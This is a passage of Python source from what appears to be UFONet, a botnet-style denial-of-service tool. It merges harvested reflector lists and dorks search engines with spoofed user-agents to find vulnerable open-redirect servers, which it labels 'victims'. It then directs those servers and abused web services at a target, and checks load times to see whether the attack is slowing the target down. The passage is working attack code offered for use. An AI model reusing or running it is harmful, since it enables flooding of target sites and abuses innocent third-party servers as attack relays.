  2618. os.remove('botnet/drones.txt') # remove UCAVs/drones file
  2619. rpcs_ready = []
  2620. f = open('botnet/reflectors.txt')
  2621. reflectors = f.readlines()
  2622. f.close()
  2623. fz = open(self.rpcs_file)
  2624. rpcs = fz.readlines()
  2625. fz.close()
  2626. for reflector in reflectors:
  2627. reflector = reflector.replace('\n','')
  2628. if reflector not in rpcs:
  2629. rpcs_ready.append(reflector)
  2630. else:
  2631. pass
  2632. self.update_rpcs(rpcs_ready)
  2633. os.remove('botnet/reflectors.txt') # remove RPCs/reflectors file
  2634. ntps_ready = []
  2635. f = open('botnet/warps.txt')
  2636. warps = f.readlines()
  2637. f.close()
  2638. fz = open(self.ntps_file)
  2639. ntps = fz.readlines()
  2640. fz.close()
  2641. for warp in warps:
  2642. warp = warp.replace('\n','')
  2643. if warp not in ntps:
  2644. ntps_ready.append(warp)
  2645. else:
  2646. pass
  2647. self.update_ntps(ntps_ready)
  2648. os.remove('botnet/warps.txt') # remove NTP/warps file
  2649. print("\n[Info] [AI] Botnet updated! -> ;-)")
  2650. self.update_transferred_stats(self.trans_zombies) # update json file with transferred stats (blackhole)
  2651. if not self.options.forceyes: # ask for update everything
  2652. print('-'*25 + "\n")
  2653. update_reply = input("[AI] You would also like to update other content: [News] [Missions] [Grid] [Board]... (Y/n)")
  2654. else:
  2655. update_reply = "Y"
  2656. if update_reply == "n" or update_reply == "N":
  2657. print("\n[AI] "+self.exit_msg+"\n")
  2658. return
  2659. else:
  2660. try:
  2661. update_gui = self.update_gui_data() # update GUI data
  2662. except:
  2663. print('-'*25 +"\n")
  2664. print("[Error] [AI] Something wrong downloading GUI content! -> [Aborting!]")
  2665. print('-'*25)
  2666. print("\n[AI] "+self.exit_msg+"\n")
  2667. return
  2668. def uploading_github_list(self):
  2669. print(" 0. Set a different URL (if required) for code repository sources:\n\n [current: "+self.github_zombies+"]\n")
  2670. print(" 1. Test your 'zombies' to upload only those that really work (ex: ufonet --test-all).")
  2671. print(" 2. Make a -PULL REQUEST- to the owner of the code repository.")
  2672. print(" 3. Share your updates in the #UFONet 'motherships'...\n")
  2673. print('='*22 + '\n')
  2674. print("[AI] "+self.exit_msg+"\n")
  2675. def create_web_interface(self):
  2676. # launch webserver+gui
  2677. from .webgui import ClientThread
  2678. import webbrowser
  2679. host = '0.0.0.0'
  2680. port = 9999
  2681. try:
  2682. webbrowser.open('http://127.0.0.1:9999', new=1)
  2683. tcpsock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  2684. tcpsock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
  2685. tcpsock.bind((host,port))
  2686. while True:
  2687. tcpsock.listen(4)
  2688. (clientsock, (ip, port)) = tcpsock.accept()
  2689. newthread = ClientThread(ip, port, clientsock)
  2690. newthread.start()
  2691. except (KeyboardInterrupt, SystemExit):
  2692. sys.exit()
  2693. def extract_dorks(self):
  2694. # extract dorks from file (ex: 'dorks.txt')
  2695. try:
  2696. f = open(self.dorks_file)
  2697. dorks = f.readlines()
  2698. dorks = [ dork.replace('\n','') for dork in dorks ]
  2699. f.close()
  2700. if not dorks:
  2701. if not options.autosearch:
  2702. print("[Error] [AI] [Control] Cannot retrieve [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2703. return
  2704. else:
  2705. return dorks
  2706. except:
  2707. if not options.autosearch:
  2708. if os.path.exists(self.dorks_file) == True:
  2709. print("[Error] [AI] [Control] Cannot open [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2710. return #sys.exit(2)
  2711. else:
  2712. print("[Error] [AI] [Control] Cannot found [Dorks] from: 'botnet/dorks.txt' -> [Aborting!]\n")
  2713. return #sys.exit(2)
  2714. else:
  2715. return
  2716. def search_zombies(self, dork, zombies_found):
  2717. # crawlering on search engine results to extract zombies
  2718. options = self.options
  2719. zombies = []
  2720. if not options.engine: # default search engine
  2721. options.engine = 'duck'
  2722. if options.engine == 'bing': # using bing [28/02/2019: OK!]
  2723. url = 'https://www.bing.com/search?'
  2724. if options.search: # search from query
  2725. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2726. if options.dorks or options.autosearch: # search from a dork
  2727. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2728. start = 0 # set index number of first entry
  2729. query_string = { 'q':q, 'first':start }
  2730. data = urllib.parse.urlencode(query_string)
  2731. url = url + data
  2732. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2733. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2734. if options.verbose:
  2735. print("[Info] [AI] Query used: " + url)
  2736. print("\n" + '-'*44 + '\n')
  2737. try:
  2738. if options.proxy: # set proxy
  2739. self.proxy_transport(options.proxy)
  2740. req = urllib.request.Request(url, None, headers)
  2741. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2742. except:
  2743. print('[Error] [AI] Unable to connect to: bing\n')
  2744. if options.allengines or options.autosearch:
  2745. return
  2746. if not options.dorks or not options.autosearch:
  2747. if not self.options.forceyes:
  2748. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2749. else:
  2750. update_reply = "Y"
  2751. if update_reply == "n" or update_reply == "N":
  2752. return #sys.exit(2)
  2753. print("\nSearch engines available:")
  2754. print('-'*25)
  2755. for e in self.search_engines:
  2756. print("+ "+e)
  2757. print('-'*25)
  2758. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2759. return #sys.exit(2)
  2760. else:
  2761. req_reply = ''
  2762. regex = '<li class="b_algo"><h2><a href="(.+?)">' # regex magics
  2763. pattern = re.compile(regex)
  2764. url_links = re.findall(pattern, req_reply)
  2765. elif options.engine == 'yahoo': # yahoo [28/02/2019: OK!]
  2766. location = ['fr', 'de', 'es', 'nl', 'it', 'se', 'ch', 'jp', 'ru', 'lt'] # evading Yahoo anti-dorking [grey magic: 28/02/2019]
  2767. #location = ['fr', 'de', 'es', 'nl', 'se', 'ch', 'ru'] # [08/04/2017]
  2768. location = str(random.choice(location).strip()) # shuffle location
  2769. if location == "jp": # [28/02/2019]
  2770. url = 'https://search.yahoo.co.jp/search?'
  2771. else:
  2772. url = 'https://'+location+'.search.yahoo.com/search?'
  2773. if options.search: # search from query
  2774. if location == "jp":
  2775. q = '"' + str(options.search) + '"' # set query to search literally on results
  2776. else:
  2777. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2778. if options.dorks or options.autosearch: # search from a dork
  2779. if location == "jp":
  2780. q = '"' + str(dork) + '"' # set query to search literally on results
  2781. else:
  2782. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2783. start = 0 # set index number of first entry
  2784. query_string = { 'p':q, 'b':start }
  2785. data = urllib.parse.urlencode(query_string)
  2786. url = url + data
  2787. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2788. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2789. if options.verbose:
  2790. print(("Query used: " + url + "\n"))
  2791. try:
  2792. if options.proxy: # set proxy
  2793. self.proxy_transport(options.proxy)
  2794. req = urllib.request.Request(url, None, headers)
  2795. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2796. except:
  2797. print('[Error] [AI] Unable to connect to: yahoo\n')
  2798. if options.allengines or options.autosearch:
  2799. return
  2800. if not options.dorks or not options.autosearch:
  2801. if not self.options.forceyes:
  2802. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2803. else:
  2804. update_reply = "Y"
  2805. if update_reply == "n" or update_reply == "N":
  2806. return #sys.exit(2)
  2807. print("\nSearch engines available:")
  2808. print('-'*25)
  2809. for e in self.search_engines:
  2810. print("+ "+e)
  2811. print('-'*25)
  2812. print("\nEx: ufonet -s 'proxy.php?url=' --se 'bing'")
  2813. return #sys.exit(2)
  2814. else:
  2815. req_reply = ''
  2816. #regex = '<h3 class="title"><a style="color:#2C46C7" class=" td-u" href="(.+?)" target="_blank"' # regex magics [18/08/2016]
  2817. regex = 'href="(.+?)" target="_blank" data' # regex magics [08/04/2017]
  2818. pattern = re.compile(regex)
  2819. url_links = re.findall(pattern, req_reply)
  2820. elif options.engine == 'duck': # using duckduckgo [28/02/2019: OK!]
  2821. url = 'https://duckduckgo.com/html/'
  2822. if options.search: # search from query
  2823. q = 'instreamset:(url):"' + str(options.search) + '"' # set query to search literally on results
  2824. if options.dorks or options.autosearch: # search from a dork
  2825. q = 'instreamset:(url):"' + str(dork) + '"' # set query from a dork to search literally on results
  2826. query_string = { 'q':q }
  2827. data = urllib.parse.urlencode(query_string)
  2828. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  2829. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  2830. if options.verbose:
  2831. print("Query used: " + url + " (POST: "+ data + ")\n")
  2832. try:
  2833. if options.proxy: # set proxy
  2834. self.proxy_transport(options.proxy)
  2835. req = urllib.request.Request(url, data.encode('utf-8'), headers) # HTTP POST request
  2836. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  2837. except:
  2838. print('[Error] [AI] Unable to connect to: duck\n')
  2839. if options.allengines or options.autosearch:
  2840. return
  2841. if not options.dorks or not options.autosearch:
  2842. if not self.options.forceyes:
  2843. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2844. else:
  2845. update_reply = "Y"
  2846. if update_reply == "n" or update_reply == "N":
  2847. return #sys.exit(2)
  2848. print("\nSearch engines available:")
  2849. print('-'*25)
  2850. for e in self.search_engines:
  2851. print("+ "+e)
  2852. print('-'*25)
  2853. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2854. return #sys.exit(2)
  2855. else:
  2856. req_reply = ''
  2857. regex = 'snippet" href="(.+?)">' # regex magics
  2858. pattern = re.compile(regex)
  2859. url_links = re.findall(pattern, req_reply)
  2860. else: # no valid search engine
  2861. print('[Error] [AI] This search engine is not supported!\n')
  2862. if not options.dorks or options.autosearch:
  2863. if not self.options.forceyes:
  2864. update_reply = input("[AI] Do you want to try a different search engine? (Y/n)")
  2865. else:
  2866. update_reply = "Y"
  2867. if update_reply == "n" or update_reply == "N":
  2868. return #sys.exit(2)
  2869. print("\nSearch engines available:")
  2870. print('-'*25)
  2871. for e in self.search_engines:
  2872. print("+ "+e)
  2873. print('-'*25)
  2874. print("\nEx: ufonet -s 'proxy.php?url=' --se 'yahoo'")
  2875. return #sys.exit(2)
  2876. else:
  2877. req_reply = ''
  2878. if options.num_results: # set number of results to search
  2879. try:
  2880. num = int(options.num_results)
  2881. except:
  2882. print("[Info] [AI] You should specify an integer!... Using default value: 10\n")
  2883. num = 10
  2884. else:
  2885. num = 10
  2886. total_results = 1
  2887. for url in url_links: # general parse on urls
  2888. if int(num) < int(total_results):
  2889. break
  2890. if options.engine == "bing":
  2891. if " h=" in url: # regex magics [18/08/2016]
  2892. url = url.rsplit('" h=',1)[0]
  2893. if options.engine == "yahoo":
  2894. if 'RU=' in url: # regex magics [18/08/2016]
  2895. url = url.rsplit('RU=',1)[1]
  2896. if 'UTF-8&u=' in url: # regex magics [05/02/2018]
  2897. url = url.rsplit('UTF-8&u=',1)[1]
  2898. total_results = total_results + 1 # results counter
  2899. url_link = urllib.parse.unquote(url) # unquote encoding
  2900. if options.search:
  2901. sep = str(options.search)
  2902. if options.dorks or options.autosearch:
  2903. sep = str(dork)
  2904. url_link = url_link.rsplit(sep, 1)[0] + sep
  2905. if 'href="' in url_link:
  2906. url_link = url_link.rsplit('href="', 1)[1]
  2907. if "instreamset" in url_link: # invalid zombie
  2908. url_link = "" # discarded
  2909. if '" ' in url_link:
  2910. url_link = url_link.rsplit('" ', 1)[1]
  2911. if options.engine in url_link:
  2912. url_link = "" # discarded
  2913. if 'http' not in url_link:
  2914. url_link = "" # discarded
  2915. else:
  2916. if url_link not in zombies and url_link+os.linesep not in zombies_found and url_link is not "": # AI mode (parsing search engines mixed pool and stored army)
  2917. print('+Victim found: ' + url_link)
  2918. print('-'*12)
  2919. zombies.append(url_link)
  2920. else:
  2921. pass
  2922. if len(zombies) == 0: # print dorking results
  2923. print("[Info] [AI] NOT any NEW victim(s) found for this query!")
  2924. if not options.dorks:
  2925. if not options.autosearch:
  2926. if not self.options.forceyes:
  2927. return #sys.exit(2)
  2928. print("\n" + '-'*44 + '\n')
  2929. self.total_possible_zombies = self.total_possible_zombies + len(zombies)
  2930. return zombies
  2931. def check_nat(self):
  2932. # check for NAT configuration
  2933. options = self.options
  2934. tor_reply = urllib.request.urlopen(self.check_tor_url).read().decode('utf-8') # check if TOR is enabled
  2935. your_ip = tor_reply.split('<strong>')[1].split('</strong>')[0].strip()
  2936. check_ip_service = None
  2937. if not tor_reply or 'Congratulations' not in tor_reply:
  2938. print("[Info] [AI] It seems that you are not using TOR to recieve data. -> [OK!]\n")
  2939. else:
  2940. print("[Error] [AI] You are using TOR as public IP... It's not possible to NAT! -> [Aborting!]\n")
  2941. self.nat_error_flag = "ON"
  2942. return #sys.exit(2)
  2943. try:
  2944. data = str(urlopen(self.check_ip_service1).read()) # check for public ip
  2945. self.pub_ip = re.compile(r'Address: (\d+\.\d+\.\d+\.\d+)').search(data).group(1)
  2946. check_ip_service = self.check_ip_service1
  2947. except:
  2948. try: # another check for public ip
  2949. data = str(urlopen(self.check_ip_service2).read())
  2950. self.pub_ip = re.compile(r'">(\d+\.\d+\.\d+\.\d+)</span>').search(data).group(1)
  2951. check_ip_service = self.check_ip_service2
  2952. except:
  2953. print("[Error] [AI] Something wrong checking your public IP! -> [Exiting!]\n")
  2954. self.nat_error_flag = "ON"
  2955. return
  2956. t = urlparse(check_ip_service)
  2957. name_service = t.netloc
  2958. print(" + Public: " + self.pub_ip + " | "+name_service+"\n")
  2959. s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
  2960. s.connect(('8.8.8.8', 0)) # connecting to a UDP address doesn't send packets (black magic)
  2961. self.local_ip = s.getsockname()[0]
  2962. print(" + Local: " + self.local_ip + "\n")
  2963. print('='*22 + '\n')
  2964. def extract_ucavs(self):
  2965. # extract ucavs from file
  2966. options = self.options
  2967. try:
  2968. f = open(self.ucavs_file)
  2969. ucavs = f.readlines()
  2970. ucavs = [ ucav.replace('\n','') for ucav in ucavs ]
  2971. f.close()
  2972. if not ucavs:
  2973. print("[Info] [AI] [Control] Cannot retrieve [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2974. self.options.disableucavs = True
  2975. return
  2976. else:
  2977. return ucavs
  2978. except:
  2979. if os.path.exists(self.ucavs_file) == True:
  2980. print("[Info] [AI] [Control] Cannot open [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2981. return #sys.exit(2)
  2982. else:
  2983. print("[Info] [AI] [Control] Cannot found [UCAVs] from: 'botnet/ucavs.txt' -> [Discarding!]")
  2984. return #sys.exit(2)
  2985. def discarding_ucavs(self, ucav, ucavs):
  2986. if ucav in self.discard_ucavs:
  2987. ucavs.remove(ucav)
  2988. if self.options.verbose:
  2989. print(("[Info] [AI] [Control] [UCAVs] "+str(ucav)+" is not working! -> [Discarding!]"))
  2990. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  2991. return ucavs
  2992. def send_ucavs(self, ucavs):
  2993. # extract external status checkers, perform a request and check results
  2994. time.sleep(5) # aiming (multi-threading flow time compensation)
  2995. if not self.options.disablepurge:
  2996. if not ucavs: # return when not any working
  2997. self.options.disableucavs = True
  2998. return
  2999. options = self.options
  3000. target = self.options.target
  3001. shuffle(ucavs) # shuffle ucavs order, each round :-)
  3002. if not self.options.disablepurge:
  3003. for ucav in ucavs:
  3004. if not ucav.startswith('http'): # discarded inmediately
  3005. self.discard_ucavs.append(ucav)
  3006. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3007. ucavs = self.discarding_ucavs(ucav, ucavs) # check if ucav is failing for autobalance army
  3008. if not self.options.disablepurge:
  3009. if not ucavs: # return when not any working
  3010. self.options.disableucavs = True
  3011. return
  3012. shuffle(ucavs) # shuffle ucavs order, each discarding check :-)
  3013. for ucav in ucavs:
  3014. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3015. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3016. if target.startswith("http://"): # parse target for some checkers
  3017. target = target.replace('http://','')
  3018. elif target.startswith("https://"):
  3019. target = target.replace('https://','')
  3020. url = ucav + target
  3021. t = urlparse(ucav)
  3022. name_ucav = t.netloc
  3023. if name_ucav == "":
  3024. name_ucav = ucav
  3025. if options.verbose:
  3026. print(("[Info] [UCAVs] Sniping: " + url))
  3027. try:
  3028. if options.proxy: # set proxy
  3029. self.proxy_transport(options.proxy)
  3030. if options.timeout: # set timeout
  3031. ucav_timeout = options.timeout
  3032. else:
  3033. ucav_timeout = 5
  3034. if ucav_timeout < 1:
  3035. ucav_timeout = 5
  3036. req = urllib.request.Request(url, None, headers)
  3037. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=ucav_timeout).read().decode('utf-8')
  3038. self.ucavs_hit = self.ucavs_hit + 1 # add ucav hit to stats
  3039. except:
  3040. print("[Info] [UCAVs] " + name_ucav + " -> FAILED (cannot connect!)")
  3041. if not self.options.disablepurge:
  3042. self.discard_ucavs.append(ucav)
  3043. self.num_discard_ucavs = self.num_discard_ucavs + 1
  3044. self.ucavs_fail = self.ucavs_fail + 1 # add ucav fail to stats
  3045. target_reply = ""
  3046. if target_reply == "": # check for target's status resolved by [UCAVs]
  3047. pass
  3048. else:
  3049. if not "is down" or not "looks down" or not "No info found for host" in target_reply: # parse external service for reply
  3050. print("[Info] [UCAVs] " + name_ucav + " -> Target is ONLINE! -> [Keep shooting!]")
  3051. self.num_is_up = self.num_is_up + 1
  3052. else:
  3053. print("[Info] [UCAVs] " + name_ucav + " -> Target looks OFFLINE! -> [Checking!]")
  3054. self.num_is_down = self.num_is_down + 1
  3055. if self.options.verbose:
  3056. print("[Info] [AI] [UCAVs] "+str(name_ucav)+" is returning...")
  3057. self.extra_zombies_lock = False # [ARMY] have finished
  3058. def extract_median(self, num_list):
  3059. # extract median from a list of numbers
  3060. import statistics
  3061. int_num = []
  3062. for num in num_list:
  3063. num = float(num)
  3064. int_num.append(num)
  3065. return statistics.median(int_num)
  3066. def check_is_loading(self, target):
  3067. # perform a broadband test (using GET) to analize target's reply to the traffic generated each round
  3068. self.start = None
  3069. self.stop = None
  3070. print('\n---------')
  3071. print("\n[Info] [AI] Scanning target to check for levels on defensive shields...\n")
  3072. if target.endswith(""):
  3073. target.replace("", "/")
  3074. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3075. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  3076. try:
  3077. req = urllib.request.Request(target, None, headers)
  3078. if self.options.proxy: # set proxy
  3079. self.proxy_transport(self.options.proxy)
  3080. if self.options.timeout: # set timeout
  3081. try:
  3082. timeout = int(self.options.timeout)
  3083. except:
  3084. timeout = 5
  3085. else:
  3086. timeout = 5
  3087. if timeout < 1:
  3088. timeout = 5
  3089. self.start = time.time()
  3090. target_reply = urllib.request.urlopen(req, context=self.ctx, timeout=timeout).read().decode('utf-8')
  3091. header = urllib.request.urlopen(req, context=self.ctx).info()
  3092. self.stop = time.time()
  3093. except:
  3094. print('[Info] [AI] Our scanner cannot connect to the target this round! -> [Skipping!]\n')
  3095. return
  3096. try:
  3097. s, size_name = self.convert_size(len(target_reply))
  3098. self.loadcheck_size_list.append(s) # add record to size list
  3099. size = '%s %s' % (s,size_name)
  3100. except:
  3101. size = "Error!"
  3102. try:
  3103. time_required = self.stop - self.start
  3104. load = self.convert_time(time_required)
  3105. self.loadcheck_load_list.append(load) # add record to load list
  3106. except:
  3107. load = "Error!"
  3108. self.loadcheck_counter = self.loadcheck_counter + 1
  3109. print(' -Total tests:', self.loadcheck_counter, "\n")
  3110. if self.loadcheck_prev_size is not None and self.loadcheck_prev_load is not None:
  3111. lsm = self.extract_median(self.loadcheck_size_list)
  3112. if lsm is not None:
  3113. self.loadcheck_size_median = str(lsm) + " " + size_name
  3114. else:
  3115. self.loadcheck_size_median = None
  3116. llm = self.extract_median(self.loadcheck_load_list)
  3117. if llm is not None:
  3118. self.loadcheck_load_median = str(llm) + " seconds"
  3119. else:
  3120. self.loadcheck_load_median = None
  3121. if self.loadcheck_counter == 2: # first round
  3122. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3123. print(' -Bytes in (this round) :', size)
  3124. if self.loadcheck_size_median is not None:
  3125. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3126. print(' ----')
  3127. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3128. print(' -Load time (this round) :', load, "seconds")
  3129. if self.loadcheck_load_median is not None:
  3130. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3131. else:
  3132. print("\n")
  3133. self.loadcheck_size_max = None
  3134. self.loadcheck_size_min = None
  3135. self.loadcheck_load_max = None
  3136. self.loadcheck_load_min = None
  3137. elif self.loadcheck_counter > 2: # rest of rounds
  3138. lsmax = max(self.loadcheck_size_list)
  3139. if lsmax is not None:
  3140. self.loadcheck_size_max = str(lsmax) + " " + size_name
  3141. else:
  3142. self.loadcheck_size_max = None
  3143. lsmin = min(self.loadcheck_size_list)
  3144. if lsmin is not None:
  3145. self.loadcheck_size_min = str(lsmin) + " " + size_name
  3146. else:
  3147. self.loadcheck_size_min = None
  3148. llmax = max(self.loadcheck_load_list)
  3149. if llmax is not None:
  3150. self.loadcheck_load_max = str(llmax) + " seconds"
  3151. else:
  3152. self.loadcheck_load_max = None
  3153. llmin = min(self.loadcheck_load_list)
  3154. if llmin is not None:
  3155. self.loadcheck_load_min = str(llmin) + " seconds"
  3156. else:
  3157. self.loadcheck_load_min = None
  3158. print(' -Bytes in (first round) :', self.loadcheck_first_size)
  3159. print(' -Bytes in (previous round) :', self.loadcheck_prev_size)
  3160. print(' -Bytes in (this round) :', size)
  3161. if self.loadcheck_size_max is not None:
  3162. print(' -Bytes in (max) :', self.loadcheck_size_max)
  3163. if self.loadcheck_size_min is not None:
  3164. print(' -Bytes in (min) :', self.loadcheck_size_min)
  3165. if self.loadcheck_size_median is not None:
  3166. print(' -Bytes in (median) :', self.loadcheck_size_median)
  3167. print(' ----')
  3168. print(' -Load time (first round) :', self.loadcheck_first_load, "seconds")
  3169. print(' -Load time (previous round):', self.loadcheck_prev_load, "seconds")
  3170. print(' -Load time (this round) :', load, "seconds")
  3171. if self.loadcheck_load_max is not None:
  3172. print(' -Load time (max) :', self.loadcheck_load_max)
  3173. if self.loadcheck_load_min is not None:
  3174. print(' -Load time (min) :', self.loadcheck_load_min)
  3175. if self.loadcheck_load_median is not None:
  3176. print(' -Load time (median) :', self.loadcheck_load_median, "\n")
  3177. else:
  3178. print("\n")
  3179. if self.loadcheck_prev_load < load: # target is loading more slowly
  3180. print("[Info] [AI] [Scanner] Target is serving the content more slowly this round! ;-) -> [Keep shooting!]\n")
  3181. elif self.loadcheck_prev_load == load: # inmutable target
  3182. print("[Info] [AI] [Scanner] Attack is not having any effect on your target this round... -> [Keep shooting!]\n")
  3183. elif self.loadcheck_prev_load > load: # is target defending?
  3184. print("[Info] [AI] [Scanner] Target is loading this round faster than the previous one! -> DETECTED: [PROXY CACHE!!]\n")
  3185. else:
  3186. print(' -Bytes in (this round) :', size)
  3187. print(' -Load time (this round):', load, "seconds\n")
  3188. self.loadcheck_first_size = size
  3189. self.loadcheck_first_load = load
  3190. self.loadcheck_size_median = None
  3191. self.loadcheck_load_median = None
  3192. self.loadcheck_size_max = None
  3193. self.loadcheck_size_min = None
  3194. self.loadcheck_load_max = None
  3195. self.loadcheck_load_min = None
  3196. self.loadcheck_prev_size = size # record previous size
  3197. self.loadcheck_prev_load = load # record previous load
  3198. def convert_size(self, size):
  3199. if (size == 0):
  3200. return '0 B'
  3201. size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
  3202. i = int(math.floor(math.log(size,1024)))
  3203. p = math.pow(1024,i)
  3204. s = round(size/p,2)
  3205. return s, size_name[i]
  3206. def convert_time(self, time):
  3207. return '%.2f' % time
  3208. def discarding_zombies(self, zombie, zombies):
  3209. if zombie in self.discardzombies:
  3210. zombies.remove(zombie)
  3211. if self.options.verbose:
  3212. print(("[Info] [AI] [Control] [Zombies] "+str(zombie)+" is not working! -> [Discarding!]"))
  3213. return zombies
  3214. def send_zombies(self, zombies):
  3215. # send Open Redirect zombies
  3216. time.sleep(1) # aiming (multi-threading flow time compensation)
  3217. if not self.options.disablepurge:
  3218. if not zombies:
  3219. self.empty_zombies = True
  3220. return
  3221. if self.options.verbose:
  3222. print("[Info] [AI] [Control] Deploying [Zombies] with 'maser-melee' weapons...")
  3223. options = self.options
  3224. target = self.options.target
  3225. shuffle(zombies) # shuffle zombies order, each round :-)
  3226. if not self.options.disablepurge:
  3227. for zombie in zombies: # check if zombie is failing for autobalance army
  3228. if not zombie.startswith('http'): # discarded inmediately
  3229. self.discardzombies.append(zombie)
  3230. self.num_discard_zombies = self.num_discard_zombies + 1
  3231. zombies = self.discarding_zombies(zombie, zombies)
  3232. if not self.options.disablepurge:
  3233. if not zombies: # return when not any working
  3234. self.empty_zombies = True
  3235. return
  3236. for zombie in zombies:
  3237. t = urlparse(zombie)
  3238. name_zombie = t.netloc
  3239. if name_zombie == "":
  3240. name_zombie = zombie
  3241. if not self.options.attackme:
  3242. print("[Info] [Zombies] Attacking from: " + name_zombie)
  3243. else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie
  3244. self.mothership_hash = random.getrandbits(128) # generating random evasion hash
  3245. target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie
  3246. self.options.target = target
  3247. print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)
  3248. print("[Info] [Zombies] Payload: " + target)
  3249. print('='*55, "\n")
  3250. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  3251. if not options.target.startswith('http'):
  3252. if options.forcessl:
  3253. options.target = "https://" + options.target
  3254. else:
  3255. options.target = "http://" + options.target
  3256. self.attack_mode = True
  3257. try:
  3258. if options.verbose:
  3259. print("[Info] [Zombies] Sniping: " + options.target)
  3260. self.connect_zombies(zombie)
  3261. if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers
  3262. self.db_flash = self.db_flash + 1
  3263. stress = self.stressing(target, zombie)
  3264. except Exception:
  3265. print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")
  3266. self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool
  3267. if not self.options.disablepurge:
  3268. self.discardzombies.append(zombie)
  3269. self.num_discard_zombies = self.num_discard_zombies + 1
  3270. if self.options.verbose:
  3271. print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")
  3272. self.attack_mode = False
  3273. def discarding_aliens(self, alien, aliens):
  3274. if alien in self.discard_aliens:
  3275. aliens.remove(alien)
  3276. if self.options.verbose:
  3277. print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))
  3278. self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats
  3279. return aliens
  3280. def send_aliens(self, aliens):
  3281. # extract external web abuse services urls (POST) and perform requests against target
  3282. time.sleep(2) # aiming (multi-threading flow time compensation)
  3283. if not self.options.disablepurge:
  3284. if not aliens: # return when not any working
  3285. self.options.disablealiens = True
  3286. return
  3287. target = self.options.target
  3288. options = self.options
  3289. shuffle(aliens) # shuffle aliens
  3290. if not self.options.disablepurge:
  3291. for alien in aliens:
  3292. if not alien.startswith('http'): # discarded inmediately
  3293. self.discard_aliens.append(alien)
  3294. self.num_discard_aliens = self.num_discard_aliens + 1
  3295. aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army
  3296. if not self.options.disablepurge:
  3297. if not aliens: # return when not any working
  3298. self.options.disablealiens = True
  3299. return
  3300. shuffle(aliens) # shuffle aliens order, each discarding check :-)
  3301. for alien in aliens:
  3302. name_alien = None
  3303. if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file
  3304. regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics
  3305. pattern_alien = re.compile(regex_alien)
  3306. alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data
  3307. regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics
  3308. pattern_param = re.compile(regex_param)
  3309. param = re.findall(pattern_param, alien) # HTTP POST params to submit
  3310. for u in alien_url:
  3311. url = u # ex: POST -> path/submit.php
  3312. t = urlparse(url)
  3313. name_alien = t.netloc
  3314. if name_alien == "":
  3315. name_alien = alien
  3316. print("[Info] [Aliens] Attacking from: " + name_alien)
  3317. for p in param:
  3318. param_target = {p : target} # ex POST -> url=target
  3319. param_target = urllib.parse.urlencode(param_target)
  3320. try:
  3321. if options.verbose:
  3322. print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)
  3323. if options.proxy: # set proxy
  3324. self.proxy_transport(options.proxy)
  3325. if self.options.timeout: # set timeout
  3326. try:
  3327. alien_timeout = int(self.options.timeout)
  3328. except:
  3329. alien_timeout = 5
  3330. else:
  3331. alien_timeout = 5
  3332. if alien_timeout < 1:
  3333. alien_timeout = 5
  3334. req = urllib.request.Request(url, param_target.encode('utf-8'))
  3335. rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)
